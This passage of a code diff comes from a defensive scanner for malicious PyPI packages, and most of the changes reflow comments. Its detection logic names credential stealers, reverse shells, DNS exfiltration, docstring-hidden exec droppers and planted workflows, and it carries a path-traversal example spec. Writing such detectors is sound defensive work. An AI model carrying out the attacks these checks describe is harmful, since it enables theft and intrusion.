encoded blob reopens.blob, digest = _blob_digest(content)findings.append(Finding(@@ -515,10 +458,7 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:))- # Catch-all: any import line in .pth if nothing else triggered. Bind every- # line through a digest so an appended/swapped import reopens the key, but cap- # the displayed text so a large .pth of benign-looking imports cannot dump up- # to the archive member cap into the logs or baseline JSON.+ # Catch-all: any import line in .pth if nothing else triggered. Bind every line through a digest so an appended/swapped import reopens the key, but cap the displayed text so a large .pth cannot dump the archive member cap into the logs or baseline JSON.if not findings and import_lines:evidence = _cap_line("\n".join(import_lines))findings.append(@@ -534,7 +474,6 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:# Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes)size = len(content)if size > 500 and import_lines:- # Pin the content so a different payload of the same size/import count reopens.digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()findings.append(Finding(@@ -549,30 +488,18 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:return findings-# A STRING after one of these tokens (and before a NEWLINE) is a bare docstring/doctest/prose statement -- the-# dominant FP source -- so we blank it. A string after `=` or `(` is real code and is never blanked.+# A STRING after one of these tokens (and before a NEWLINE) is a bare docstring/doctest/prose statement, the dominant FP source, so blank it. A string after `=` or `(` is real code and is never blanked._LINE_START_TOKENS = frozenset({tokenize.NEWLINE, tokenize.NL, tokenize.INDENT, tokenize.DEDENT})def _is_fstring(tok_string: str) -> bool:- """True if a STRING token is an f-string (3.10/3.11 emit one STRING token).-- A bare f-string statement evaluates its expressions at import, so unlike an- inert docstring it must never be blanked.- """+ """True if a STRING token is an f-string (3.10/3.11 emit one STRING token). A bare f-string statement evaluates its expressions at import, so unlike an inert docstring it must never be blanked."""q = min((tok_string.find(c) for c in "'\"" if c in tok_string), default = -1)return q > 0 and "f" in tok_string[:q].lower()def _strip_noncode(content: str, blank_comments: bool = True) -> str:- """Blank comments and bare docstrings so IOC patterns see code only.-- Removed regions become spaces (newlines kept) so line numbers stay exact for- _extract_evidence. Fails open on tokenizer errors (the raw text is still- fully scanned, so a real detection is never lost). ``blank_comments=False``- keeps comments (only strings/docstrings blanked) to isolate the span that- exec() could actually run.- """+ """Blank comments and bare docstrings so IOC patterns see code only. Removed regions become spaces (newlines kept) so line numbers stay exact for _extract_evidence. Fails open on tokenizer errors, since the raw text is still fully scanned. ``blank_comments=False`` keeps comments to isolate the span that exec() could actually run."""try:toks = list(tokenize.generate_tokens(io.StringIO(content).readline))except (tokenize.TokenError, IndentationError, SyntaxError, ValueError):@@ -633,8 +560,7 @@ def _strip_noncode(content: str, blank_comments: bool = True) -> str:return "".join(buf)-# Payload carriers that are suspicious when hidden in a blanked region (a docstring/string) of a file that can-# dynamically execute strings.+# Payload carriers that are suspicious when hidden in a blanked region (a docstring/string) of a file that can dynamically execute strings._HIDDEN_PAYLOAD_PATTERNS = ((RE_LARGE_BLOB, "large base64 blob"),(RE_EMBEDDED_KEYS, "embedded key material"),@@ -646,25 +572,18 @@ _HIDDEN_PAYLOAD_PATTERNS = (def _hidden_payload_findings(original: str, stripped: str, filename: str, package: str) -> list[Finding]:- """Flag payloads that live only in the blanked (docstring/string) region of- a file that contains exec/eval. Such a string is invisible to code-only- scanning yet ``exec(__doc__)`` / ``exec(<str>)`` could still run it."""+ """Flag payloads that live only in the blanked (docstring/string) region of a file containing exec/eval: such a string is invisible to code-only scanning yet ``exec(__doc__)`` could still run it."""if not RE_EXEC_EVAL.search(stripped):return []- # Only docstrings/strings run via exec(__doc__)/exec(<str>); comments cannot. Isolate that span: keep comments as- # real code, take what string-blanking removed (length-preserved, so offsets stay exact for _extract_evidence).+ # Only docstrings/strings run via exec(__doc__)/exec(<str>); comments cannot. Isolate that span: keep comments as real code, take what string-blanking removed (length-preserved, so offsets stay exact).code = _strip_noncode(original, blank_comments = False)removed = "".join(o if o != s else " " for o, s in zip(original, code))out = []- # The visible exec/eval line is what makes the hidden string executable, so bind it into every finding's evidence:- # otherwise a reviewed false positive that keeps the same hidden text but flips a harmless `eval("1+1")` to- # `exec(__doc__)` (now running the payload) keeps the same key and stays suppressed. Taken from `stripped` (real- # code), where the exec/eval lives.+ # The visible exec/eval line is what makes the hidden string executable, so bind it into every finding's evidence: otherwise a reviewed false positive that keeps the same hidden text but flips a harmless `eval("1+1")` to `exec(__doc__)` keeps the same key and stays suppressed.trigger = _extract_evidence(stripped, RE_EXEC_EVAL)def _hidden(pat):- # Carrier present in a blanked region but NOT in real code.return bool(pat.search(removed)) and not pat.search(stripped)for pat, label in _HIDDEN_PAYLOAD_PATTERNS:@@ -678,10 +597,7 @@ def _hidden_payload_findings(f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}",))- # Fetch-then-run dropper: a network call AND an os/subprocess exec that both- # live in the blanked region. Search the removed span directly (not "absent- # from real code") so a benign visible network/subprocess call cannot mask- # the docstring payload.+ # Fetch-then-run dropper: a network call AND an os/subprocess exec that both live in the blanked region. Search the removed span directly (not "absent from real code") so a benign visible network/subprocess call cannot mask the docstring payload.if RE_NETWORK.search(removed) and RE_SUBPROCESS.search(removed):out.append(Finding(@@ -699,9 +615,7 @@ def _hidden_payload_findings(def check_py_file(content: str, filename: str, package: str) -> list[Finding]:"""Run all .py-specific checks."""- # Code-only scanning: strip comments/docstrings up front so prose, doctests- # and usage examples cannot manufacture false positives. Aligns with the- # Hugging Face Hub model (ClamAV/picklescan: low-FP, signature/structural).+ # Code-only scanning: strip comments/docstrings up front so prose, doctests and usage examples cannot manufacture false positives. Aligns with the Hugging Face Hub model.original = contentcontent = _strip_noncode(content)findings = _hidden_payload_findings(original, content, filename, package)@@ -798,7 +712,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Credential stealer: reads cred paths AND phones homeif has_creds and has_network:findings.append(Finding(@@ -818,8 +731,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:package,filename,"Reverse shell / bind shell pattern",- # Still RE_REVERSE_SHELL, so every finding that survives the gate renders byte-identical evidence to- # before this change.+ # Still RE_REVERSE_SHELL, so every finding that survives the gate renders byte-identical evidence to before this change._extract_evidence(content, RE_REVERSE_SHELL),))@@ -920,8 +832,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:)if has_base64 and has_exec_eval and has_blob:- # Digest every blob too: a payload may sit on a separate line from the decode call, and a second encoded blob- # may be appended later, so binding only the base64/exec lines or the first blob would miss it.+ # Digest every blob too: a payload may sit on a separate line from the decode call, and a second encoded blob may be appended later._, blob_digest = _blob_digest(content)findings.append(Finding(@@ -935,7 +846,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:))- # Advanced obfuscation + exec/evalif has_obfuscation and has_exec_eval:findings.append(Finding(@@ -961,7 +871,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:)if has_anti and (has_network or has_subprocess or has_exec_eval):- # Bind the suspicious side too so a changed payload reopens.evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"]if has_network:evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")@@ -980,7 +889,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:)if has_dns_exfil and (has_base64 or has_network or has_creds):- # Bind the co-occurring side so a changed exfil channel reopens.evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"]if has_base64:evidence.append(f"Base64: {_extract_evidence(content, RE_BASE64)}")@@ -1142,21 +1050,14 @@ _MAX_MULTILINE_LINES = 12_MAX_CALL_LINES = 40 # soft cap: how far a NEVER-closing opener is followed_MAX_CALL_HARD_LINES = 200 # hard cap: how far a closing call is followed to bind it-# Cap a single rendered line. A short line is shown verbatim; a long (e.g. minified one-liner) line is shown as a-# bounded prefix plus a sha256 of the full line, so a packed payload cannot dump unbounded content into the evidence-# and baseline while a change past the cutoff still changes the digest and reopens the finding.+# Cap a single rendered line: a short line is shown verbatim, a long (minified) one as a bounded prefix plus a sha256 of the full line, so a packed payload cannot dump unbounded content into the evidence while a change past the cutoff still changes the digest._MAX_LINE_CHARS = 200-# Cap on recorded spans in one evidence string; beyond it the remaining spans are-# folded into a digest so a file with thousands of matching lines cannot build a-# multi-megabyte evidence blob, while an added/removed span past the cap still-# changes the key. Comfortably above the largest real baseline entry.+# Cap on recorded spans in one evidence string; beyond it the remaining spans fold into a digest so a file with thousands of matching lines cannot build a multi-megabyte evidence blob, while an added/removed span past the cap still changes the key._MAX_EVIDENCE_SPANS = 96def _cap_line(code: str) -> str:- """Bound a single line's displayed code: return it verbatim when short, else a- ``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still- pinned (fail-closed) without recording the entire line."""+ """Bound a single line's displayed code: verbatim when short, else a ``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still pinned."""if len(code) <= _MAX_LINE_CHARS:return codedigest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()@@ -1167,23 +1068,16 @@ _PY_TRIPLE = ("'''", '"""')def _ends_with_odd_backslash(s: str) -> bool:- """True if ``s`` ends with an odd run of backslashes, i.e. a trailing- backslash that escapes the newline (a string/line continuation) rather than a- literal ``\\\\`` pair."""+ """True if ``s`` ends with an odd run of backslashes, i.e. a trailing backslash escaping the newline rather than a literal pair."""return (len(s) - len(s.rstrip("\\"))) % 2 == 1-# Single-line quoted string literal; blanks complete one-line strings (the legacy view) so the single-line and-# multi-line blanked spans can be unioned below.+# Single-line quoted string literal; blanks complete one-line strings (the legacy view) so the single-line and multi-line blanked spans can be unioned below._RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"")def _blank_code_strings(lines: list[str]) -> list[str]:- """Replace string contents (single- and triple-quoted, escapes honoured) with- spaces across ``lines``, keeping the line count and every bracket OUTSIDE a- string intact. Bracket counting then never miscounts a ``)`` that lives inside- a string -- including a triple-quoted string spanning several lines, which a- per-line regex cannot blank."""+ """Replace string contents (single- and triple-quoted, escapes honoured) with spaces across ``lines``, keeping the line count and every bracket OUTSIDE a string intact, so bracket counting never miscounts a ``)`` inside a string, including a triple-quoted one a per-line regex cannot blank."""out: list[str] = []in_triple: str | None = None # active ''' or \"\"\" delimiter, or Nonein_string: str | None = None # active ' or " continued via a trailing backslash@@ -1202,13 +1096,7 @@ def _blank_code_strings(lines: list[str]) -> list[str]:in_triple = Nonecontinueif in_string is not None:- # A single-/double-quoted string continued onto this line by a- # backslash-escaped newline. Resume blanking until its closing quote;- # if this line also ends on an odd trailing backslash the string- # continues again, otherwise it closes (or is unterminated) here. A- # per-line regex blanker cannot see this, so a `)` on the- # continuation line would otherwise be counted as code and close the- # call early -- dropping the URL/body lines that follow.+ # A single-/double-quoted string continued onto this line by a backslash-escaped newline. Resume blanking until its closing quote; a per-line regex blanker cannot see this, so a `)` on the continuation line would be counted as code and close the call early, dropping the URL/body lines that follow.j, closed = i, Falsewhile j < n:if line[j] == "\\":@@ -1256,8 +1144,7 @@ def _blank_code_strings(lines: list[str]) -> list[str]:if closed:i = jelse:- # Ran off the line without closing: an odd trailing backslash escapes the newline and continues- # the string onto the next line, so remember the quote; otherwise it is just unterminated.+ # Ran off the line without closing: an odd trailing backslash escapes the newline and continues the string onto the next line, so remember the quote; otherwise it is just unterminated.i = nif _ends_with_odd_backslash(line):in_string = ch@@ -1273,16 +1160,7 @@ _OPENERS = frozenset("([{")def _bracket_lr(line: str) -> tuple[int, int]:- """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``- where ``L`` is the count of closers with no opener earlier on the line (they- need an opener to the LEFT / a prior line) and ``R`` is the count of openers- with no closer later on the line (they need a closer to the RIGHT / a later- line). A plain net count (opens minus closes) collapses order and so masks a- trailing opener that follows leading closers on the same line, e.g.- ``]; requests.post(`` nets to 0 and hides the ``(`` that opens the flagged- call; tracking the running minimum keeps that opener visible so the call's- argument lines still bind. Only bracket characters are walked (pulled out with- one C-level regex pass) so a long minified line stays cheap."""+ """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)`` where ``L`` counts closers with no opener earlier on the line and ``R`` counts openers with no closer later. A plain net count collapses order and masks a trailing opener that follows leading closers (``]; requests.post(`` nets to 0), so tracking the running minimum keeps that opener visible. Only bracket characters are walked so a long minified line stays cheap."""depth = 0low = 0for ch in _RE_BRACKETS.findall(line):@@ -1296,13 +1174,7 @@ def _bracket_lr(line: str) -> tuple[int, int]:def _scan_line_end(view: list[str], start: int) -> int:- """1-based line where the statement at ``start`` closes its brackets in- ``view`` (one blanked view of the file). A call that closes is followed to its- real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; a- bracket that never closes within that hard limit (a stray/miscounted opener) is- bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file.- Brackets are applied in order via ``_bracket_lr`` (leading closers clamp at 0)- so a closer that precedes the opener on the same line does not cancel it."""+ """1-based line where the statement at ``start`` closes its brackets in ``view``. A call that closes is followed to its real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; one that never closes within that limit is bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file. Brackets are applied in order via ``_bracket_lr`` so a closer preceding the opener on the same line does not cancel it."""depth = 0hard = min(len(view), start + _MAX_CALL_HARD_LINES - 1)for j in range(start, hard + 1):@@ -1314,21 +1186,12 @@ def _scan_line_end(view: list[str], start: int) -> int:# physical line, so do not close hereif depth <= 0:return j- # Never closed within the hard limit: bind only the soft cap so a stray opener- # cannot bind a giant unrelated span.+ # Never closed within the hard limit: bind only the soft cap so a stray opener cannot bind a giant unrelated span.return min(len(view), start + _MAX_CALL_LINES - 1)def _logical_line_end(sl_blanked: list[str], ml_blanked: list[str], start: int) -> int:- """1-based line where the statement opened at ``start`` closes, so a multi-line- call binds its argument lines (a changed URL/body on a continuation line- reopens, not just the API line). Returns the LARGER of the spans found in the- single-line-blanked view (legacy: a payload embedded inside a string still- counts, so its brackets bind the call) and the multi-line-blanked view (a- bracket inside a triple-quoted string argument no longer closes the call- early). Taking the union never shrinks the bound span below either view, so- neither blanking strategy can drop a continuation line a malicious change- relies on."""+ """1-based line where the statement opened at ``start`` closes, so a multi-line call binds its argument lines. Returns the LARGER of the spans found in the single-line-blanked view (a payload embedded inside a string still counts) and the multi-line-blanked view (a bracket inside a triple-quoted argument no longer closes the call early), so neither blanking strategy can drop a continuation line."""return max(_scan_line_end(sl_blanked, start), _scan_line_end(ml_blanked, start))@@ -1337,30 +1200,13 @@ def _extract_evidence(pattern: re.Pattern,max_matches: int = 0,) -> str:- """Pull matching lines as evidence snippets (``max_matches=0`` means all).-- Records every matching line in full, not a truncated sample, so an extra- match (or extra code on a long line) appended to an already-flagged file- changes the evidence and the baseline key instead of riding the first few.- Leading whitespace is kept so a flagged line moved out of a guarded block- reads as changed. Each single-line match is extended over bracket- continuations so a multi-line call binds its argument lines too. Cross-line- matches the per-line scan cannot see (DOTALL IOC regexes, or a multi-line- construct appended under a check that already had a one-line match) are- recorded afterwards, so an added multiline payload reopens the finding. A- pathological greedy span is bounded to its head line plus a digest of the- rest.- """+ """Pull matching lines as evidence snippets (``max_matches=0`` means all). Records every matching line in full so an extra match appended to an already-flagged file changes the baseline key instead of riding the first few, and keeps leading whitespace so a flagged line moved out of a guarded block reads as changed. Each single-line match is extended over bracket continuations; cross-line matches the per-line scan cannot see are recorded afterwards. A pathological greedy span is bounded to its head line plus a digest of the rest."""lines = content.splitlines()sl_blanked = [_RE_STR_LITERAL.sub("", ln) for ln in lines]ml_blanked = _blank_code_strings(lines)out = []seen: set[tuple[int, int]] = set()- # Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS rendered spans, every further span is- # folded straight into a running digest instead of being materialized and sliced off at the end, so memory and work- # stay bounded to the display cap rather than the match count while the digest still covers every overflow span.- # The fold reproduces _canon_evidence(" | ".join(overflow)) exactly (strip each span to its non-empty L<NN>-less- # code lines, join with "\n"), so the digest is identical to buffering the whole list and canonicalizing once.+ # Overflow is streamed, not buffered: past _MAX_EVIDENCE_SPANS every further span folds straight into a running digest, so memory stays bounded to the display cap while the digest still covers every overflow span. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly.overflow_count = 0overflow_hash = hashlib.sha256()overflow_started = False@@ -1383,9 +1229,7 @@ def _extract_evidence(def _render(start: int, end: int) -> str:span = lines[start - 1 : end] or ["<multiline match>"]if len(span) > _MAX_MULTILINE_LINES:- # Digest the code without the L<NN>: markers so a pure line shift of the same span stays stable while a- # code change still reopens. The head is truncated for display only; the span digest already binds its- # full content, so no per-line digest is needed here.+ # Digest the code without the L<NN>: markers so a pure line shift of the same span stays stable while a code change still reopens. The head is truncated for display only.code = "\n".join(ln.rstrip() for ln in span)digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()head = span[0].rstrip()@@ -1399,50 +1243,34 @@ def _extract_evidence(span = (i, _logical_line_end(sl_blanked, ml_blanked, i))if span in seen:continue- # Only track spans while still filling the display list: past the cap- # every span is folded into the overflow digest, so growing `seen` with- # all of them would keep memory proportional to the match count (the- # behavior this cap exists to bound) on a generated file with millions- # of one-line matches. The per-line spans are unique by line number, so- # dropping them from `seen` past the cap cannot cause a missed dedup- # here; at worst the fallback re-folds an over-cap span into the same- # digest, which stays deterministic and still reopens on a change.+ # Only track spans while still filling the display list: past the cap every span folds into the overflow digest, so growing `seen` with all of them would keep memory proportional to the match count. The per-line spans are unique by line number, so dropping them past the cap cannot cause a missed dedup.if len(out) < _MAX_EVIDENCE_SPANS:seen.add(span)_emit(_render(*span))if max_matches and len(out) >= max_matches:return " | ".join(out)- # Precompute newline offsets once so mapping a match offset to its 1-based line is O(log n) (bisect) rather than- # O(n) (content.count) per match; the latter made this fallback quadratic on a minified file with thousands of- # matches.+ # Precompute newline offsets once so mapping a match offset to its 1-based line is O(log n) rather than O(n) per match; the latter made this fallback quadratic on a minified file.nl = [p for p, ch in enumerate(content) if ch == "\n"]for m in pattern.finditer(content):start = bisect.bisect_left(nl, m.start()) + 1end = bisect.bisect_left(nl, m.end()) + 1if end <= start or (start, end) in seen:continue # single-line matches are already covered by the pass above- # A giant greedy DOTALL span is bound by the full digest of its content (via _render, which renders a- # >_MAX_MULTILINE_LINES span as a head line plus a sha256 of the whole span). Binding only the anchors leaves- # the bridged interior unhashed, so a new cross-line payload could be inserted between unchanged outer anchors- # and keep the same key. A pure line shift stays stable because the digest is over the markerless code.+ # A giant greedy DOTALL span is bound by the full digest of its content: binding only the anchors leaves the bridged interior unhashed, so a new cross-line payload could be inserted between unchanged outer anchors and keep the same key.if len(out) < _MAX_EVIDENCE_SPANS:seen.add((start, end))_emit(_render(start, end))if max_matches and len(out) >= max_matches:breakif overflow_count:- # The overflow digest was accumulated from the canonicalized (L<NN>:-less) spans as they were emitted, so a pure- # line shift above the overflow region does not change it and reopen an otherwise-unchanged finding, matching- # the per-span key's line-shift stability.+ # The overflow digest was accumulated from the canonicalized spans as they were emitted, so a pure line shift above the overflow region does not reopen an otherwise-unchanged finding.out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")return " | ".join(out)def _embedded_key_evidence(content: str) -> str:- """Key evidence that also pins the full PEM block(s) via a digest, so a key- body swapped under the same BEGIN marker reopens the finding (single-line and- DER keys are already bound by their full matched line)."""+ """Key evidence that also pins the full PEM block(s) via a digest, so a key body swapped under the same BEGIN marker reopens the finding (single-line and DER keys are already bound by their full matched line)."""ev = _extract_evidence(content, RE_EMBEDDED_KEYS)blocks = RE_PEM_BLOCK.findall(content)if blocks:@@ -1452,24 +1280,18 @@ def _embedded_key_evidence(content: str) -> str:def _blob_digest(content: str) -> tuple[str, str]:- """First large blob (for display) plus a digest binding EVERY large blob, so- an appended or swapped encoded payload reopens the finding rather than riding- an unchanged first blob. Assumes at least one blob is present (single-blob- files keep the prior single-blob digest, so the baseline does not drift)."""+ """First large blob (for display) plus a digest binding EVERY large blob, so an appended or swapped encoded payload reopens rather than riding an unchanged first blob. Single-blob files keep the prior single-blob digest, so the baseline does not drift."""blobs = RE_LARGE_BLOB.findall(content)digest = hashlib.sha256("\n".join(blobs).encode("utf-8", "replace")).hexdigest()return blobs[0], digest-# Non-Python checkers. Recent PyPI compromises (Lightning 2.6.x, ForceMemo) carried the payload in a bundled-# .js / .sh / workflow yaml so the Python imports looked clean. These checkers scan those file types when they appear-# inside a wheel/sdist.+# Non-Python checkers. Recent PyPI compromises (Lightning 2.6.x, ForceMemo) carried the payload in a bundled .js / .sh / workflow yaml so the Python imports looked clean.def check_js_file(content: str, filename: str, package: str) -> list[Finding]:"""Run JS-side checks. Triggered by .js / .mjs / .cjs / .ts."""findings = []- # A >100 KB JS file inside a Python wheel is anomalous: CRITICAL combined with any other JS heuristic, HIGH- # standalone.+ # A >100 KB JS file inside a Python wheel is anomalous: CRITICAL combined with any other JS heuristic, HIGH standalone.is_large = len(content) > 100 * 1024has_obf = bool(RE_JS_OBFUSCATION.search(content))has_web3 = bool(RE_WEB3_HIJACK.search(content))@@ -1519,10 +1341,7 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:_extract_evidence(content, RE_WORKFLOW_INJECT),))- # Pin the whole file's content digest to EVERY JS finding (not just large bundles). _extract_evidence blanks only- # Python string forms before counting brackets, so a JS backtick template literal containing `)` can close a- # call's span early and omit the option/body lines that follow; binding the full content means a change to those- # omitted lines still reopens. A large bundle with no other heuristic is a standalone HIGH.+ # Pin the whole file's content digest to EVERY JS finding: _extract_evidence blanks only Python string forms before counting brackets, so a JS backtick template literal containing `)` can close a call's span early and omit the lines that follow, and binding the full content means a change to those still reopens.if findings or is_large:digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()if findings:@@ -1534,8 +1353,7 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:HIGH,package,filename,- # Size stays out of the check label (from main) so the baseline key does not drift when a benign- # bundle grows; the full-content digest below still binds the bytes so a payload swap reopens.+ # Size stays out of the check label so the baseline key does not drift when a benign bundle grows; the full-content digest still binds the bytes."Python wheel ships large JS bundle (uncommon; manually review)",f"sha256: {digest}",)@@ -1559,7 +1377,6 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]if RE_DEV_TOOL_HIJACK.search(content) and (RE_NETWORK.search(content) or RE_SUBPROCESS.search(content)):- # Bind the hook AND the network/exec signal so a changed exfil reopens.evidence = [f"Hook: {_extract_evidence(content, RE_DEV_TOOL_HIJACK)}"]if RE_NETWORK.search(content):evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")@@ -1612,8 +1429,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]def check_workflow_file(content: str, filename: str, package: str) -> list[Finding]:"""Run GitHub-Actions workflow checks. Triggered by .github/workflows/*.yml."""findings = []- # A workflow file inside a PyPI package is suspicious (Shai-Hulud plants `shai-hulud.yml` everywhere);- # injection-signature matches are CRITICAL.+ # A workflow file inside a PyPI package is suspicious (Shai-Hulud plants `shai-hulud.yml` everywhere); injection-signature matches are CRITICAL.if RE_WORKFLOW_INJECT.search(content):findings.append(Finding(@@ -1664,22 +1480,14 @@ HARD_MAX_MEMBERS = 50_000 # entries per archivedef _refuse_unsafe_member_name(name: str) -> str | None:- """Return a refusal reason for a member name, or None if safe.-- Mirrors `safe_extract`: no absolute paths, no `..` traversal. We never write- to disk, so the name-shape check plus the in-memory size cap is sufficient.- """+ """Refusal reason for a member name, or None if safe. Mirrors `safe_extract`: no absolute paths, no `..` traversal. We never write to disk, so the name-shape check plus the in-memory size cap is sufficient."""if name.startswith("/") or ".." in Path(name).parts:return f"unsafe member name {name!r}"return Nonedef iter_archive_files(archive_path: str):- """Yield (filename, text_content) for every file in a wheel/sdist.-- Streams members with per-member size + count caps so a tarbomb/zipbomb can't- blow the memory budget. On cap breach, emits a `[WARN]` and short-circuits.- """+ """Yield (filename, text_content) for every file in a wheel/sdist. Streams members with per-member size + count caps so a tarbomb/zipbomb cannot blow the memory budget; on cap breach, emits a `[WARN]` and short-circuits."""path = Path(archive_path)if path.suffix == ".whl" or path.suffix == ".zip":@@ -1704,7 +1512,6 @@ def iter_archive_files(archive_path: str):file = sys.stderr,)continue- # Declared (uncompressed) size capif info.file_size > HARD_MAX_FILE_BYTES:print(f" [WARN] {path.name}: skipped {info.filename!r} "@@ -1730,7 +1537,6 @@ def iter_archive_files(archive_path: str):elif path.name.endswith((".tar.gz", ".tgz", ".tar.bz2", ".tar.xz", ".tar")):total = 0count = 0- # Streaming open so we never read the whole archive into memory.with tarfile.open(path, mode = "r|*") as tf:for member in tf:count += 1@@ -1801,12 +1607,7 @@ def iter_archive_files(archive_path: str):def scan_archive(archive_path: str, package: str) -> list[Finding]:- """Scan all files in an archive for malicious patterns.-- A corrupted archive container (truncated wheel, bad gzip header, etc.) emits- a CRITICAL ``archive_corrupted`` finding rather than being silently skipped- and reported as "0 findings" (silent-failure hardening SF1).- """+ """Scan all files in an archive for malicious patterns. A corrupted archive container emits a CRITICAL ``archive_corrupted`` finding rather than being silently skipped and reported as "0 findings"."""findings: list[Finding] = []try:for filename, content in iter_archive_files(archive_path):@@ -1816,17 +1617,14 @@ def scan_archive(archive_path: str, package: str) -> list[Finding]:elif lower.endswith(".py"):findings.extend(check_py_file(content, filename, package))elif lower.endswith((".js", ".mjs", ".cjs", ".ts")):- # Lightning 2.6.x hid its payload in a 14.8 MB router_runtime.js; without this branch we'd only see the- # small Python loader.+ # Lightning 2.6.x hid its payload in a 14.8 MB router_runtime.js; without this branch we would only see the small Python loader.findings.extend(check_js_file(content, filename, package))elif lower.endswith((".sh", ".bash")):findings.extend(check_shell_file(content, filename, package))elif "/.github/workflows/" in lower and lower.endswith((".yml", ".yaml")):- # Shai-Hulud/ForceMemo plant their own GHA workflowfindings.extend(check_workflow_file(content, filename, package))except (zipfile.BadZipFile, tarfile.TarError, EOFError, OSError) as exc:- # Archive cannot be opened / is structurally broken: either transport corruption or a deliberate attempt to- # bypass error-swallowing scanners.+ # Archive cannot be opened or is structurally broken: either transport corruption or a deliberate attempt to bypass error-swallowing scanners.findings.append(Finding(CRITICAL,@@ -1840,17 +1638,7 @@ def scan_archive(archive_path: str, package: str) -> list[Finding]:def _scan_one(task: tuple[str, str]) -> tuple[str, list[Finding]]:- """Pool worker: ``scan_archive`` over one (archive_path, package) pair.-- Module-level and pickle-clean on purpose, so the pool can use the "spawn"- start method. ``Finding`` is a plain dataclass, so results travel as-is.-- The archive-limit ``[WARN]`` lines go to stderr from deep inside- ``iter_archive_files``. Left alone they land in the parent's stream whenever- the worker happens to reach them, so two runs of the same input produce logs- that differ only in where those lines sit. They are returned instead and the- caller prints them in task order, which keeps the whole report reproducible.- """+ """Pool worker: ``scan_archive`` over one (archive_path, package) pair. Module-level and pickle-clean on purpose, so the pool can use the "spawn" start method. The archive-limit ``[WARN]`` lines are returned rather than written to stderr from deep inside ``iter_archive_files``, and the caller prints them in task order, which keeps the whole report reproducible."""archive_path, package = taskbuf = io.StringIO()with contextlib.redirect_stderr(buf):@@ -1862,12 +1650,7 @@ _RE_PYPI_SPEC_VERSION = re.compile(r"==\s*([A-Za-z0-9_.\-+!]+)")def _check_blocked_pypi_versions(specs: list[str]) -> tuple[list[str], list[Finding]]:- """Filter ``specs`` against ``BLOCKED_PYPI_VERSIONS``.-- Returns ``(safe_specs, findings)``. Each blocked spec emits a CRITICAL- ``Finding`` and is dropped so the malicious tarball is never fetched. Specs- without an ``==X.Y.Z`` pin pass through; the IOC regexes catch them later.- """+ """Filter ``specs`` against ``BLOCKED_PYPI_VERSIONS``, returning ``(safe_specs, findings)``. Each blocked spec emits a CRITICAL ``Finding`` and is dropped so the malicious tarball is never fetched. Specs without an ``==X.Y.Z`` pin pass through; the IOC regexes catch them later."""safe: list[str] = []findings: list[Finding] = []for spec in specs:@@ -1894,11 +1677,7 @@ def _check_blocked_pypi_versions(specs: list[str]) -> tuple[list[str], list[Finddef _pip_download_env() -> dict[str, str]:- """Return a scrubbed environment for invoking `pip download`.-- Strips every PIP_* override and forces the resolver at PyPI; PIP_CONFIG_FILE- is /dev/null so a stray pip.conf extra-index-url cannot bypass the pin.- """+ """A scrubbed environment for invoking `pip download`: strips every PIP_* override and forces the resolver at PyPI, with PIP_CONFIG_FILE at /dev/null so a stray pip.conf extra-index-url cannot bypass the pin."""env = {**os.environ}for key in [k for k in env if k.startswith("PIP_")]:env.pop(key, None)@@ -1909,8 +1688,7 @@ def _pip_download_env() -> dict[str, str]:return env-# Pip resolver flags shared by both download branches. The CLI index-URL pin is belt + braces with the env scrub;-# `--only-binary :all:` avoids running setup.py.+# Pip resolver flags shared by both download branches. The CLI index-URL pin is belt and braces with the env scrub; `--only-binary :all:` avoids running setup.py._PIP_DOWNLOAD_PIN_FLAGS = ["--index-url","https://pypi.org/simple",@@ -1919,19 +1697,13 @@ _PIP_DOWNLOAD_PIN_FLAGS = []-# Strip characters that could escape `dest` via `os.path.join`, so a spec like `../../etc/foo==1.0` cannot land outside-# the temp tree.+# Strip characters that could escape `dest` via `os.path.join`, so a spec like `../../etc/foo==1.0` cannot land outside the temp tree._RE_PKG_NAME_SANITIZE = re.compile(r"[^A-Za-z0-9._-]")-# sdist fallback. `--only-binary :all:` never builds an sdist (no setup.py exec), but a wheel-less project then can't-# be fetched at all and one such package fails the whole --with-deps resolve (exit 2) -- a coverage hole. So on-# resolve failure we drop to per-spec and fetch any sdist-only package's raw tarball from the PyPI JSON API for-# scan_archive() to read statically: no pip, no build, same no-exec guarantee. Transport failures are still exit 2;-# only "no wheel" is downgraded to a direct fetch.+# sdist fallback. `--only-binary :all:` never builds an sdist, but a wheel-less project then cannot be fetched at all and one such package fails the whole --with-deps resolve. So on resolve failure we drop to per-spec 